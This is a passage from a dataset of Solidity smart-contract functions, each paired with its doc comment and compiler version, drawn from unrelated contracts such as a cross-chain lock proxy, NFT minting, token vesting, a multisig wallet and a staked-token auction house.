(_assetHash == ETH_ASSET_HASH) {\r\n // we use `call` here since the _receivingAddress could be a contract\r\n // see https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/\r\n // for more info\r\n (bool success, ) = _receivingAddress.call{value: _amount}(\"\");\r\n require(success, \"Transfer failed\");\r\n return true;\r\n }\r\n\r\n ERC20 token = ERC20(_assetHash);\r\n _callOptionalReturn(\r\n token,\r\n abi.encodeWithSelector(\r\n token.approve.selector,\r\n _receivingAddress,\r\n _amount\r\n )\r\n );\r\n\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Marks an asset as registered by associating it to a specified Switcheo TradeHub proxy and asset hash\n/// @param _assetHash the address of the asset to mark\n/// @param _proxyAddress the associated proxy address on Switcheo TradeHub\n/// @param _toAssetHash the associated asset hash on Switcheo TradeHub", "function_code": "function _markAssetAsRegistered(\r\n address _assetHash,\r\n bytes memory _proxyAddress,\r\n bytes memory _toAssetHash\r\n )\r\n private\r\n {\r\n require(_proxyAddress.length == 20, \"Invalid proxyAddress\");\r\n require(\r\n registry[_assetHash] == bytes32(0),\r\n \"Asset already registered\"\r\n );\r\n\r\n bytes32 value = keccak256(abi.encodePacked(\r\n _proxyAddress,\r\n _toAssetHash\r\n ));\r\n\r\n registry[_assetHash] = value;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Validates that an asset's registration matches the given params\n/// @param _assetHash the address of the asset to check\n/// @param _proxyAddress the expected proxy address on Switcheo TradeHub\n/// @param _toAssetHash the expected asset hash on Switcheo TradeHub", "function_code": "function _validateAssetRegistration(\r\n address _assetHash,\r\n bytes memory _proxyAddress,\r\n bytes memory _toAssetHash\r\n )\r\n private\r\n view\r\n {\r\n require(_proxyAddress.length == 20, \"Invalid proxyAddress\");\r\n bytes32 value = keccak256(abi.encodePacked(\r\n _proxyAddress,\r\n _toAssetHash\r\n ));\r\n require(registry[_assetHash] == value, \"Asset not registered\");\r\n }", "version": "0.6.12"} {"comment": "/// @dev validates the asset registration and calls the CCM contract", "function_code": "function _lock(\r\n address _fromAssetHash,\r\n bytes memory _targetProxyHash,\r\n bytes memory _toAssetHash,\r\n bytes memory _toAddress,\r\n uint256 _amount,\r\n uint256 _feeAmount,\r\n bytes memory _feeAddress\r\n )\r\n private\r\n {\r\n require(_targetProxyHash.length == 20, \"Invalid targetProxyHash\");\r\n require(_toAssetHash.length > 0, \"Empty toAssetHash\");\r\n require(_toAddress.length > 0, \"Empty toAddress\");\r\n require(_amount > 0, \"Amount must be more than zero\");\r\n require(_feeAmount < _amount, \"Fee amount cannot be greater than amount\");\r\n\r\n _validateAssetRegistration(_fromAssetHash, _targetProxyHash, _toAssetHash);\r\n\r\n TransferTxArgs memory txArgs = TransferTxArgs({\r\n fromAssetHash: Utils.addressToBytes(_fromAssetHash),\r\n toAssetHash: _toAssetHash,\r\n toAddress: _toAddress,\r\n amount: _amount,\r\n feeAmount: _feeAmount,\r\n feeAddress: _feeAddress,\r\n fromAddress: abi.encodePacked(msg.sender),\r\n nonce: _getNextNonce()\r\n });\r\n\r\n bytes memory txData = _serializeTransferTxArgs(txArgs);\r\n CCM ccm = _getCcm();\r\n require(\r\n ccm.crossChain(counterpartChainId, _targetProxyHash, \"unlock\", txData),\r\n \"EthCrossChainManager crossChain executed error!\"\r\n );\r\n\r\n emit LockEvent(_fromAssetHash, msg.sender, counterpartChainId, _toAssetHash, _toAddress, txData);\r\n }", "version": "0.6.12"} {"comment": "/// @dev validate the signature for lockFromWallet", "function_code": "function _validateLockFromWallet(\r\n address _walletOwner,\r\n address _assetHash,\r\n bytes memory _targetProxyHash,\r\n bytes memory _toAssetHash,\r\n bytes memory _feeAddress,\r\n uint256[] memory _values,\r\n uint8 _v,\r\n bytes32[] memory _rs\r\n )\r\n private\r\n {\r\n bytes32 message = keccak256(abi.encodePacked(\r\n \"sendTokens\",\r\n _assetHash,\r\n _targetProxyHash,\r\n _toAssetHash,\r\n _feeAddress,\r\n _values[0],\r\n _values[1],\r\n _values[2]\r\n ));\r\n\r\n require(seenMessages[message] == false, \"Message already seen\");\r\n seenMessages[message] = true;\r\n _validateSignature(message, _walletOwner, _v, _rs[0], _rs[1]);\r\n }", "version": "0.6.12"} {"comment": "/// @dev transfers funds from a Wallet contract into this contract\n/// the difference between this contract's before and after balance must equal _amount\n/// this is assumed to be sufficient in ensuring that the expected amount\n/// of funds were transferred in", "function_code": "function _transferInFromWallet(\r\n address payable _walletAddress,\r\n address _assetHash,\r\n uint256 _amount,\r\n uint256 _callAmount\r\n )\r\n private\r\n {\r\n Wallet wallet = Wallet(_walletAddress);\r\n if (_assetHash == ETH_ASSET_HASH) {\r\n uint256 before = address(this).balance;\r\n\r\n wallet.sendETHToCreator(_callAmount);\r\n\r\n uint256 transferred = address(this).balance.sub(before);\r\n require(transferred == _amount, \"ETH transferred does not match the expected amount\");\r\n return;\r\n }\r\n\r\n ERC20 token = ERC20(_assetHash);\r\n uint256 before = token.balanceOf(address(this));\r\n\r\n wallet.sendERC20ToCreator(_assetHash, _callAmount);\r\n\r\n uint256 transferred = token.balanceOf(address(this)).sub(before);\r\n require(transferred == _amount, \"Tokens transferred does not match the expected amount\");\r\n }", "version": "0.6.12"} {"comment": "/// @dev transfers funds from an address into this contract\n/// for ETH transfers, we only check that msg.value == _amount, and _callAmount is ignored\n/// for token transfers, the difference between this contract's before and after balance must equal _amount\n/// these checks are assumed to be sufficient in ensuring that the expected amount\n/// of funds were transferred in", "function_code": "function _transferIn(\r\n address _assetHash,\r\n uint256 _amount,\r\n uint256 _callAmount\r\n )\r\n private\r\n {\r\n if (_assetHash == ETH_ASSET_HASH) {\r\n require(msg.value == _amount, \"ETH transferred does not match the expected amount\");\r\n return;\r\n }\r\n\r\n ERC20 token = ERC20(_assetHash);\r\n uint256 before = token.balanceOf(address(this));\r\n _callOptionalReturn(\r\n token,\r\n abi.encodeWithSelector(\r\n token.transferFrom.selector,\r\n msg.sender,\r\n address(this),\r\n _callAmount\r\n )\r\n );\r\n uint256 transferred = token.balanceOf(address(this)).sub(before);\r\n require(transferred == _amount, \"Tokens transferred does not match the expected amount\");\r\n }", "version": "0.6.12"} {"comment": "/// @dev transfers funds from this contract to the _toAddress", "function_code": "function _transferOut(\r\n address _toAddress,\r\n address _assetHash,\r\n uint256 _amount\r\n )\r\n private\r\n {\r\n if (_assetHash == ETH_ASSET_HASH) {\r\n // we use `call` here since the _receivingAddress could be a contract\r\n // see https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/\r\n // for more info\r\n (bool success, ) = _toAddress.call{value: _amount}(\"\");\r\n require(success, \"Transfer failed\");\r\n return;\r\n }\r\n\r\n ERC20 token = ERC20(_assetHash);\r\n _callOptionalReturn(\r\n token,\r\n abi.encodeWithSelector(\r\n token.transfer.selector,\r\n _toAddress,\r\n _amount\r\n )\r\n );\r\n }", "version": "0.6.12"} {"comment": "/// @dev validates a signature against the specified user address", "function_code": "function _validateSignature(\r\n bytes32 _message,\r\n address _user,\r\n uint8 _v,\r\n bytes32 _r,\r\n bytes32 _s\r\n )\r\n private\r\n pure\r\n {\r\n bytes32 prefixedMessage = keccak256(abi.encodePacked(\r\n \"\\x19Ethereum Signed Message:\\n32\",\r\n _message\r\n ));\r\n\r\n require(\r\n _user == ecrecover(prefixedMessage, _v, _r, _s),\r\n \"Invalid signature\"\r\n );\r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Mint function\n */", "function_code": "function mint(\n uint8 _quantity,\n uint256 _fromTimestamp,\n uint256 _toTimestamp,\n uint8 _maxQuantity,\n bytes calldata _signature\n ) external payable callerIsUser {\n bytes32 messageHash = generateMessageHash(msg.sender, _fromTimestamp, _toTimestamp, _maxQuantity);\n address recoveredWallet = ECDSA.recover(messageHash, _signature);\n\n require(recoveredWallet == signerAddress, \"Invalid signature for the caller\");\n require(block.timestamp >= _fromTimestamp, \"Too early to mint\");\n require(block.timestamp <= _toTimestamp, \"The signature has expired\");\n\n QueensAndKingsAvatars qakContract = QueensAndKingsAvatars(avatarContractAddress);\n uint16 tmpTotalSupply = qakContract.totalSupply();\n\n uint256 tokensLeft = totalAvatars - tmpTotalSupply;\n require(tokensLeft > 0, \"No tokens left to be minted\");\n\n if (_quantity + mintsPerUser[msg.sender] > _maxQuantity) {\n _quantity = _maxQuantity - mintsPerUser[msg.sender];\n }\n\n if (_quantity > tokensLeft) {\n _quantity = uint8(tokensLeft);\n }\n\n uint256 totalMintPrice = mintPrice * _quantity;\n require(msg.value >= totalMintPrice, \"Not enough Ether provided to mint\");\n\n if (msg.value > totalMintPrice) {\n payable(msg.sender).transfer(msg.value - totalMintPrice);\n }\n\n require(_quantity != 0, \"Address mint limit reached\");\n\n mintsPerUser[msg.sender] += _quantity;\n\n for (uint16 i; i < _quantity; i++) {\n uint16 _tokenId = _getTokenToBeMinted(tmpTotalSupply);\n qakContract.mint(_tokenId, msg.sender);\n tmpTotalSupply++;\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @dev mint to address\n */", "function_code": "function mintTo(address[] memory _addresses) external {\n require(msg.sender == sAddress, \"Caller is not allowed to mint\");\n require(_addresses.length > 0, \"At least one token should be minted\");\n require(sMintedTokens + _addresses.length <= sMintLimit, \"Mint limit reached\");\n\n QueensAndKingsAvatars qakContract = QueensAndKingsAvatars(avatarContractAddress);\n uint16 tmpTotalSupply = qakContract.totalSupply();\n\n sMintedTokens += uint16(_addresses.length);\n for (uint256 i; i < _addresses.length; i++) {\n qakContract.mint(_getTokenToBeMinted(tmpTotalSupply), _addresses[i]);\n tmpTotalSupply++;\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Returns a random available token to be minted\n */", "function_code": "function _getTokenToBeMinted(uint16 _totalMintedTokens) private returns (uint16) {\n uint16 maxIndex = totalAvatars + sMintLimit - _totalMintedTokens;\n uint16 random = _getRandomNumber(maxIndex, _totalMintedTokens);\n\n uint16 tokenId = tokenMatrix[random];\n if (tokenMatrix[random] == 0) {\n tokenId = random;\n }\n\n tokenMatrix[maxIndex - 1] == 0 ? tokenMatrix[random] = maxIndex - 1 : tokenMatrix[random] = tokenMatrix[\n maxIndex - 1\n ];\n\n // IDs start from 1 instead of 0\n return tokenId + 1;\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Generates a pseudo-random number.\n */", "function_code": "function _getRandomNumber(uint16 _upper, uint16 _totalMintedTokens) private view returns (uint16) {\n uint16 random = uint16(\n uint256(\n keccak256(\n abi.encodePacked(\n _totalMintedTokens,\n blockhash(block.number - 1),\n block.coinbase,\n block.difficulty,\n msg.sender\n )\n )\n )\n );\n\n return (random % _upper);\n }", "version": "0.8.10"} {"comment": "/**\n * ROYALTY FUNCTIONS\n */", "function_code": "function getRoyalties(uint256) external view returns (address payable[] memory recipients, uint256[] memory bps) {\n if (_royaltyRecipient != address(0x0)) {\n recipients = new address payable[](1);\n recipients[0] = _royaltyRecipient;\n bps = new uint256[](1);\n bps[0] = _royaltyBps;\n }\n return (recipients, bps);\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.\r\n *\r\n * Emits an {Upgraded} event.\r\n */", "function_code": "function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {\r\n address oldImplementation = _getImplementation();\r\n\r\n // Initial upgrade and setup call\r\n _setImplementation(newImplementation);\r\n if (data.length > 0 || forceCall) {\r\n Address.functionDelegateCall(newImplementation, data);\r\n }\r\n\r\n // Perform rollback test if not already in progress\r\n StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);\r\n if (!rollbackTesting.value) {\r\n // Trigger rollback using upgradeTo from the new implementation\r\n rollbackTesting.value = true;\r\n Address.functionDelegateCall(\r\n newImplementation,\r\n abi.encodeWithSignature(\r\n \"upgradeTo(address)\",\r\n oldImplementation\r\n )\r\n );\r\n rollbackTesting.value = false;\r\n // Check rollback was effective\r\n require(oldImplementation == _getImplementation(), \"ERC1967Upgrade: upgrade breaks further upgrades\");\r\n // Finally reset to the new implementation and log the upgrade\r\n _setImplementation(newImplementation);\r\n emit Upgraded(newImplementation);\r\n }\r\n }", "version": "0.8.2"} {"comment": "/**\r\n * @dev update the default token Uri. \r\n *\r\n * @param _before token uri before part.\r\n * @param _after token uri after part.\r\n *\r\n * Returns\r\n * - bool\r\n */", "function_code": "function updateDefaultUri(string memory _before, string memory _after) external onlyOwner returns (bool){\r\n beforeUri = _before; // update the before uri for Badbeat\r\n afterUri = _after; // update the after uri for Badbeat\r\n return true;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev creating new NFT on immutable x. \r\n *\r\n * @param tokens token details.\r\n * @param signature signature to verify.\r\n *\r\n * Returns\r\n * - bool\r\n *\r\n * Emits a {TransferEth} event.\r\n */", "function_code": "function buyNFT(tokenDetails calldata tokens, bytes calldata signature) public payable returns(bool){\r\n uint256 value = msg.value; \r\n require(buyOnOff == true, \"NFT minting is stopped\");\r\n \r\n bool status = SignatureCheckerUpgradeable.isValidSignatureNow(owner(), tokens.signKey, signature);\r\n require(status == true, \"You cannot mint NFT or a not whitelisted address\");\r\n\r\n uint256 payableValue1 = uint256(30) * (msg.value)/ 100;\r\n payable(payoutAddress1).transfer(payableValue1);\r\n\r\n uint256 payableValue2 = msg.value - payableValue1;\r\n payable(payoutAddress2).transfer(payableValue2);\r\n emit TransferEth(msg.sender,payoutAddress1, payableValue1, payoutAddress2, \r\n payableValue2, tokens.noOfTokens,tokens.catId,value);\r\n\r\n\r\n return true;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev mintinf function by only IMX. \r\n *\r\n * @param user msg.sender.\r\n * @param quantity number of token amount.\r\n * @param mintingBlob bytes32\r\n *\r\n * Returns\r\n * - bool\r\n *\r\n * Emits a {AssetMinted} event.\r\n */", "function_code": "function mintFor(\r\n address user,\r\n uint256 quantity,\r\n bytes calldata mintingBlob\r\n ) external onlyIMX {\r\n require(quantity == 1, \"Mintable: invalid quantity\");\r\n (uint256 id, bytes memory blueprint) = Minting.split(mintingBlob);\r\n _mintFor(user, id, blueprint);\r\n blueprints[id] = blueprint;\r\n emit AssetMinted(user, id, blueprint);\r\n }", "version": "0.8.10"} {"comment": "/**\n ============================================\n Internal Functions\n @dev functions that can be called by inside contract\n ============================================\n */", "function_code": "function calculateRewards(uint128 _mintingAmount, uint128 remainingBoost, uint128 remainingSupply) internal pure returns (uint128, uint128) {\n uint128 boostRewards;\n uint128 finalMintingReward;\n uint128 removedBoost;\n\n unchecked {\n if (remainingBoost > _mintingAmount * 2) {\n boostRewards = _mintingAmount * 2;\n removedBoost = boostRewards;\n } else if (remainingBoost > 0) {\n boostRewards = _mintingAmount + remainingBoost;\n removedBoost = remainingBoost;\n } else {\n boostRewards = _mintingAmount;\n removedBoost = 0;\n }\n\n if (remainingSupply < _mintingAmount) {\n finalMintingReward = remainingSupply;\n } else {\n if (remainingSupply < boostRewards) {\n finalMintingReward = remainingSupply;\n } else {\n finalMintingReward = boostRewards;\n }\n }\n }\n\n return (finalMintingReward, removedBoost);\n }", "version": "0.8.13"} {"comment": "/**\r\n * @dev Constructor function - Set the inbest token address\r\n * @param _startTime The time when InbestDistribution goes live\r\n * @param _companyWallet The wallet to allocate Company tokens\r\n */", "function_code": "function InbestDistribution(uint256 _startTime, address _companyWallet) public {\r\n require(_companyWallet != address(0));\r\n require(_startTime >= now);\r\n require(AVAILABLE_TOTAL_SUPPLY == AVAILABLE_PRESALE_SUPPLY.add(AVAILABLE_COMPANY_SUPPLY));\r\n startTime = _startTime;\r\n companyWallet = _companyWallet;\r\n IBST = new InbestToken();\r\n require(AVAILABLE_TOTAL_SUPPLY == IBST.totalSupply()); //To verify that totalSupply is correct\r\n\r\n // Allocate Company Supply\r\n uint256 tokensToAllocate = AVAILABLE_COMPANY_SUPPLY;\r\n AVAILABLE_COMPANY_SUPPLY = 0;\r\n allocations[companyWallet] = Allocation(uint8(AllocationType.COMPANY), 0, 0, tokensToAllocate, 0);\r\n AVAILABLE_TOTAL_SUPPLY = AVAILABLE_TOTAL_SUPPLY.sub(tokensToAllocate);\r\n LogNewAllocation(companyWallet, AllocationType.COMPANY, tokensToAllocate, grandTotalAllocated());\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allow the owner or admins of the contract to assign a new allocation\r\n * @param _recipient The recipient of the allocation\r\n * @param _totalAllocated The total amount of IBST tokens available to the receipient (after vesting and cliff)\r\n */", "function_code": "function setAllocation (address _recipient, uint256 _totalAllocated) public onlyOwnerOrAdmin {\r\n require(_recipient != address(0));\r\n require(startTime > now); //Allocations are allowed only before starTime\r\n require(AVAILABLE_PRESALE_SUPPLY >= _totalAllocated); //Current allocation must be less than remaining presale supply\r\n require(allocations[_recipient].totalAllocated == 0 && _totalAllocated > 0); // Must be the first and only allocation for this recipient\r\n require(_recipient != companyWallet); // Receipient of presale allocation can't be company wallet\r\n\r\n // Allocate\r\n AVAILABLE_PRESALE_SUPPLY = AVAILABLE_PRESALE_SUPPLY.sub(_totalAllocated);\r\n allocations[_recipient] = Allocation(uint8(AllocationType.PRESALE), startTime.add(CLIFF), startTime.add(CLIFF).add(VESTING), _totalAllocated, 0);\r\n AVAILABLE_TOTAL_SUPPLY = AVAILABLE_TOTAL_SUPPLY.sub(_totalAllocated);\r\n LogNewAllocation(_recipient, AllocationType.PRESALE, _totalAllocated, grandTotalAllocated());\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfer a recipients available allocation to their address\r\n * @param _recipient The address to withdraw tokens for\r\n */", "function_code": "function transferTokens (address _recipient) public {\r\n require(_recipient != address(0));\r\n require(now >= startTime); //Tokens can't be transfered until start date\r\n require(_recipient != companyWallet); // Tokens allocated to COMPANY can't be withdrawn.\r\n require(now >= allocations[_recipient].endCliff); // Cliff period must be ended\r\n // Receipient can't claim more IBST tokens than allocated\r\n require(allocations[_recipient].amountClaimed < allocations[_recipient].totalAllocated);\r\n\r\n uint256 newAmountClaimed;\r\n if (allocations[_recipient].endVesting > now) {\r\n // Transfer available amount based on vesting schedule and allocation\r\n newAmountClaimed = allocations[_recipient].totalAllocated.mul(now.sub(allocations[_recipient].endCliff)).div(allocations[_recipient].endVesting.sub(allocations[_recipient].endCliff));\r\n } else {\r\n // Transfer total allocated (minus previously claimed tokens)\r\n newAmountClaimed = allocations[_recipient].totalAllocated;\r\n }\r\n\r\n //Transfer\r\n uint256 tokensToTransfer = newAmountClaimed.sub(allocations[_recipient].amountClaimed);\r\n allocations[_recipient].amountClaimed = newAmountClaimed;\r\n require(IBST.transfer(_recipient, tokensToTransfer));\r\n grandTotalClaimed = grandTotalClaimed.add(tokensToTransfer);\r\n LogIBSTClaimed(_recipient, allocations[_recipient].allocationType, tokensToTransfer, newAmountClaimed, grandTotalClaimed);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfer IBST tokens from Company allocation to reicipient address - Only owner and admins can execute\r\n * @param _recipient The address to transfer tokens for\r\n * @param _tokensToTransfer The amount of IBST tokens to transfer\r\n */", "function_code": "function manualContribution(address _recipient, uint256 _tokensToTransfer) public onlyOwnerOrAdmin {\r\n require(_recipient != address(0));\r\n require(_recipient != companyWallet); // Company can't withdraw tokens for itself\r\n require(_tokensToTransfer > 0); // The amount must be valid\r\n require(now >= startTime); // Tokens cant't be transfered until start date\r\n //Company can't trasnfer more tokens than allocated\r\n require(allocations[companyWallet].amountClaimed.add(_tokensToTransfer) <= allocations[companyWallet].totalAllocated);\r\n\r\n //Transfer\r\n allocations[companyWallet].amountClaimed = allocations[companyWallet].amountClaimed.add(_tokensToTransfer);\r\n require(IBST.transfer(_recipient, _tokensToTransfer));\r\n grandTotalClaimed = grandTotalClaimed.add(_tokensToTransfer);\r\n LogIBSTClaimed(_recipient, uint8(AllocationType.COMPANY), _tokensToTransfer, allocations[companyWallet].amountClaimed, grandTotalClaimed);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Mint edition to a wallet\r\n * @param _to wallet receiving the edition(s).\r\n * @param _mintAmount number of editions to mint.\r\n */", "function_code": "function mint(address _to, uint256 _mintAmount) public payable {\r\n require(!paused, \"Minting is Paused.\");\r\n require(_mintAmount <= maxMintAmount, \"Only 10 DieHardDinos are Allowed Per Transaction\");\r\n require(\r\n tokenId + _mintAmount <= maxSupply,\r\n \"Dinosphere is at Max Capacity\"\r\n );\r\n \r\n if(freeMint[_to] < _mintAmount)\r\n require(\r\n msg.value >= cost * _mintAmount,\r\n \"Uh Oh Not Enough ETH Paid\"\r\n );\r\n else\r\n freeMint[_to] -= _mintAmount;\r\n \r\n for (uint256 i = 0; i < _mintAmount; i++) {\r\n tokenId++;\r\n _mint(_to, tokenId, 1, \"\");\r\n totalSupply++;\r\n }\r\n }", "version": "0.8.7"} {"comment": "/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.\n/// @param transactionId Transaction ID.", "function_code": "function executeTransaction(uint transactionId)\r\n public\r\n ownerExists(msg.sender)\r\n confirmed(transactionId, msg.sender)\r\n notExecuted(transactionId)\r\n {\r\n Transaction storage txn = transactions[transactionId];\r\n bool _confirmed = isConfirmed(transactionId);\r\n if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {\r\n txn.executed = true;\r\n if (!_confirmed)\r\n spentToday += txn.value;\r\n if (txn.destination.call.value(txn.value)(txn.data))\r\n Execution(transactionId);\r\n else {\r\n ExecutionFailure(transactionId);\r\n txn.executed = false;\r\n if (!_confirmed)\r\n spentToday -= txn.value;\r\n }\r\n }\r\n }", "version": "0.4.19"} {"comment": "/// @dev Returns if amount is within daily limit and resets spentToday after one day.\n/// @param amount Amount to withdraw.\n/// @return Returns if amount is under daily limit.", "function_code": "function isUnderLimit(uint amount)\r\n internal\r\n returns (bool)\r\n {\r\n if (now > lastDay + 24 hours) {\r\n lastDay = now;\r\n spentToday = 0;\r\n }\r\n if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)\r\n return false;\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice Modify auction parameters\r\n * @param parameter The name of the parameter modified\r\n * @param data New value for the parameter\r\n */", "function_code": "function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {\r\n require(data > 0, \"StakedTokenAuctionHouse/null-data\");\r\n require(contractEnabled == 1, \"StakedTokenAuctionHouse/contract-not-enabled\");\r\n\r\n if (parameter == \"bidIncrease\") {\r\n require(data > ONE, \"StakedTokenAuctionHouse/invalid-bid-increase\");\r\n bidIncrease = data;\r\n }\r\n else if (parameter == \"bidDuration\") bidDuration = uint48(data);\r\n else if (parameter == \"totalAuctionLength\") totalAuctionLength = uint48(data);\r\n else if (parameter == \"minBidDecrease\") {\r\n require(data < ONE, \"StakedTokenAuctionHouse/invalid-min-bid-decrease\");\r\n minBidDecrease = data;\r\n }\r\n else if (parameter == \"minBid\") {\r\n minBid = data;\r\n }\r\n else revert(\"StakedTokenAuctionHouse/modify-unrecognized-param\");\r\n emit ModifyParameters(parameter, data);\r\n }", "version": "0.6.7"} {"comment": "/**\r\n * @notice Modify an address parameter\r\n * @param parameter The name of the oracle contract modified\r\n * @param addr New contract address\r\n */", "function_code": "function modifyParameters(bytes32 parameter, address addr) external isAuthorized {\r\n require(addr != address(0), \"StakedTokenAuctionHouse/null-addr\");\r\n require(contractEnabled == 1, \"StakedTokenAuctionHouse/contract-not-enabled\");\r\n if (parameter == \"accountingEngine\") accountingEngine = addr;\r\n else if (parameter == \"tokenBurner\") tokenBurner = addr;\r\n else revert(\"StakedTokenAuctionHouse/modify-unrecognized-param\");\r\n emit ModifyParameters(parameter, addr);\r\n }", "version": "0.6.7"} {"comment": "/**\r\n * @notice Start a new staked token auction\r\n * @param amountToSell Amount of staked tokens to sell (wad)\r\n */", "function_code": "function startAuction(\r\n uint256 amountToSell,\r\n uint256 systemCoinsRequested\r\n ) external isAuthorized returns (uint256 id) {\r\n require(contractEnabled == 1, \"StakedTokenAuctionHouse/contract-not-enabled\");\r\n require(auctionsStarted < uint256(-1), \"StakedTokenAuctionHouse/overflow\");\r\n require(accountingEngine != address(0), \"StakedTokenAuctionHouse/null-accounting-engine\");\r\n require(both(amountToSell > 0, systemCoinsRequested > 0), \"StakedTokenAuctionHouse/null-amounts\");\r\n require(systemCoinsRequested <= uint256(-1) / ONE, \"StakedTokenAuctionHouse/large-sys-coin-request\");\r\n\r\n id = ++auctionsStarted;\r\n\r\n bids[id].amountToSell = amountToSell;\r\n bids[id].bidAmount = systemCoinsRequested;\r\n bids[id].highBidder = address(0);\r\n bids[id].auctionDeadline = addUint48(uint48(now), totalAuctionLength);\r\n\r\n activeStakedTokenAuctions = addUint256(activeStakedTokenAuctions, 1);\r\n\r\n // get staked tokens\r\n require(stakedToken.transferFrom(msg.sender, address(this), amountToSell), \"StakedTokenAuctionHouse/cannot-transfer-staked-tokens\");\r\n\r\n emit StartAuction(\r\n id, auctionsStarted, amountToSell, systemCoinsRequested, accountingEngine, bids[id].auctionDeadline, activeStakedTokenAuctions\r\n );\r\n }", "version": "0.6.7"} {"comment": "/**\r\n * @notice Restart an auction if no bids were submitted for it\r\n * @param id ID of the auction to restart\r\n */", "function_code": "function restartAuction(uint256 id) external {\r\n require(id <= auctionsStarted, \"StakedTokenAuctionHouse/auction-never-started\");\r\n require(bids[id].auctionDeadline < now, \"StakedTokenAuctionHouse/not-finished\");\r\n require(bids[id].bidExpiry == 0, \"StakedTokenAuctionHouse/bid-already-placed\");\r\n\r\n uint256 newMinBid = multiply(minBidDecrease, bids[id].bidAmount) / ONE;\r\n newMinBid = (newMinBid < minBid) ? minBid : newMinBid;\r\n\r\n bids[id].bidAmount = newMinBid;\r\n bids[id].auctionDeadline = addUint48(uint48(now), totalAuctionLength);\r\n\r\n emit RestartAuction(id, newMinBid, bids[id].auctionDeadline);\r\n }", "version": "0.6.7"} {"comment": "/**\r\n * @notice Submit a higher system coin bid for the same amount of staked tokens\r\n * @param id ID of the auction you want to submit the bid for\r\n * @param amountToBuy Amount of staked tokens to buy (wad)\r\n * @param bid New bid submitted (rad)\r\n */", "function_code": "function increaseBidSize(uint256 id, uint256 amountToBuy, uint256 bid) external {\r\n require(contractEnabled == 1, \"StakedTokenAuctionHouse/contract-not-enabled\");\r\n require(bids[id].bidExpiry > now || bids[id].bidExpiry == 0, \"StakedTokenAuctionHouse/bid-already-expired\");\r\n require(bids[id].auctionDeadline > now, \"StakedTokenAuctionHouse/auction-already-expired\");\r\n\r\n require(amountToBuy == bids[id].amountToSell, \"StakedTokenAuctionHouse/not-matching-amount-bought\");\r\n require(bid > bids[id].bidAmount, \"StakedTokenAuctionHouse/bid-not-higher\");\r\n require(multiply(bid, ONE) > multiply(bidIncrease, bids[id].bidAmount), \"StakedTokenAuctionHouse/insufficient-increase\");\r\n\r\n if (bids[id].highBidder == msg.sender) {\r\n safeEngine.transferInternalCoins(msg.sender, address(this), subtract(bid, bids[id].bidAmount));\r\n } else {\r\n safeEngine.transferInternalCoins(msg.sender, address(this), bid);\r\n if (bids[id].highBidder != address(0)) // not first bid\r\n safeEngine.transferInternalCoins(address(this), bids[id].highBidder, bids[id].bidAmount);\r\n\r\n bids[id].highBidder = msg.sender;\r\n }\r\n\r\n bids[id].bidAmount = bid;\r\n bids[id].bidExpiry = addUint48(uint48(now), bidDuration);\r\n\r\n emit IncreaseBidSize(id, msg.sender, amountToBuy, bid, bids[id].bidExpiry);\r\n }", "version": "0.6.7"} {"comment": "/**\r\n * @notice Settle/finish an auction\r\n * @param id ID of the auction to settle\r\n */", "function_code": "function settleAuction(uint256 id) external {\r\n require(contractEnabled == 1, \"StakedTokenAuctionHouse/not-live\");\r\n require(both(bids[id].bidExpiry != 0, either(bids[id].bidExpiry < now, bids[id].auctionDeadline < now)), \"StakedTokenAuctionHouse/not-finished\");\r\n\r\n // get the bid, the amount to sell and the high bidder\r\n uint256 bid = bids[id].bidAmount;\r\n uint256 amountToSell = bids[id].amountToSell;\r\n address highBidder = bids[id].highBidder;\r\n\r\n // clear storage\r\n activeStakedTokenAuctions = subtract(activeStakedTokenAuctions, 1);\r\n delete bids[id];\r\n\r\n // transfer the surplus to the accounting engine\r\n safeEngine.transferInternalCoins(address(this), accountingEngine, bid);\r\n\r\n // clear as much bad debt as possible\r\n uint256 totalOnAuctionDebt = AccountingEngineLike(accountingEngine).totalOnAuctionDebt();\r\n AccountingEngineLike(accountingEngine).cancelAuctionedDebtWithSurplus(minimum(bid, totalOnAuctionDebt));\r\n\r\n // transfer staked tokens to the high bidder\r\n require(stakedToken.transfer(highBidder, amountToSell), \"StakedTokenAuctionHouse/failed-transfer\");\r\n\r\n emit SettleAuction(id, activeStakedTokenAuctions);\r\n }", "version": "0.6.7"} {"comment": "/**\r\n * @notice Terminate an auction prematurely\r\n * @param id ID of the auction to terminate\r\n */", "function_code": "function terminateAuctionPrematurely(uint256 id) external {\r\n require(contractEnabled == 0, \"StakedTokenAuctionHouse/contract-still-enabled\");\r\n require(bids[id].highBidder != address(0), \"StakedTokenAuctionHouse/high-bidder-not-set\");\r\n\r\n // decrease amount of active auctions\r\n activeStakedTokenAuctions = subtract(activeStakedTokenAuctions, 1);\r\n\r\n // send the system coin bid back to the high bidder in case there was at least one bid\r\n safeEngine.transferInternalCoins(address(this), bids[id].highBidder, bids[id].bidAmount);\r\n\r\n // send the staked tokens to the token burner\r\n require(stakedToken.transfer(tokenBurner, bids[id].amountToSell), \"StakedTokenAuctionHouse/failed-transfer\");\r\n\r\n emit TerminateAuctionPrematurely(id, msg.sender, bids[id].highBidder, bids[id].bidAmount, activeStakedTokenAuctions);\r\n delete bids[id];\r\n }", "version": 